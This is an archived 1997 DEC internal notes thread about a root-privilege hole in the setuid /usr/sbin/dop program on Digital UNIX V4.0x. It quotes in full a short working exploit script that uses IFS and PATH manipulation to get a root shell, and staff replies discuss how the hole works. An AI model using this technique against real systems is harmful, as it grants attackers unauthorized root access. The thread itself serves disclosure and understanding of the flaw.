[Search for users] [Overall Top Noters] [List of all Conferences] [Download this site]

Conference turris::digital_unix

Title:DIGITAL UNIX(FORMERLY KNOWN AS DEC OSF/1)
Notice:Welcome to the Digital UNIX Conference
Moderator:SMURF::DENHAM
Created:Thu Mar 16 1995
Last Modified:Fri Jun 06 1997
Last Successful Update:Fri Jun 06 1997
Number of topics:10068
Total number of notes:35879

9034.0. "Fatal security hole in /usr/sbin/dop - DU V4.0x" by MEOC02::JANKOWSKI () Wed Mar 05 1997 03:38

    The following has just appeared in the alpha-osf-managers mailing list:
    (I hope that our developement people are already alerted.)
                                                                         
    ----------------------------------------------------------------------
    Anyone can now grab root through a shell, anyone know what dop is used
    for?
    
    -------------------------cut here------------------------------------
    #!/bin/sh
    cat > /tmp/usr <<EOF
    #!/bin/sh
    IFS="   "
    export IFS
    exec /bin/sh
    EOF
    chmod 755 /tmp/usr
    IFS=/ PATH=/tmp:$PATH /usr/sbin/dop crack-user=root
    -------------------------cut here------------------------------------
    
    run this script and get a free root shell.
    ---------------------------------------------------------------------
    
    My comments and questions:
    By running strings on /usr/sbin/dop it is obvious that it is some kind
    of application launcher. It also has suid bit set.
    The author thus intended that it will run applications normally
    restricted to root.
    The normal syntax is /usr/sbin/dop application arguments.
    It also is probably a binary wrapper around a TCL script.
    I guess TCL scripts get the environment setup somehow.
    The attacker manipulates IFS - internal field separator
    of shell to become /, which causes the prepared /tmp/usr
    to be executed with root privilege.
    
    I would like to know how exactly this manipulation works?
    Normally carefully written suid programs are considered safe.
    So what went wrong this time?
    
    Regards,
    
    Chris Jankowski
    Melbourne Australia
    
T.RTitleUserPersonal
Name
DateLines
9034.1See 9029.8OSL09::BJORNMYOpen but SecureWed Mar 05 1997 04:056
    Hopefully now that the whole world knows, this basenote will not be
    hidden.
    
    The method is described in classical texts on Unix security.
    
    Bj�rn
9034.2SMURF::DENHAMDigital UNIX KernelWed Mar 05 1997 08:262
    Yeah, but maybe we can have just *1* note about it, instead of
    3 and counting...
9034.3CADSYS::BOGDANOVWed Mar 05 1997 09:532
Can anyone tell where the 'dop' is used and what for? Can one just remove it or
change 's' bit?
9034.4See 9029.1SUBPAC::FARICELLIWed Mar 05 1997 10:160
9034.5SEE NOTE 9029.11 **BSS::BORENWed Mar 05 1997 21:031
    
9034.6Reference to a book on Unix security.MEOC02::JANKOWSKIMon Mar 10 1997 07:239
    Re.1
    
    I did some background reading.
    The best reference I found is in "Practical Unix and Internet Security"
    by Garfinkel and Spafford (O'Reilly and Assoc., second edition 1996).
    See pages 124-125.
    
    Chris Jankowski
    Melbourne Australia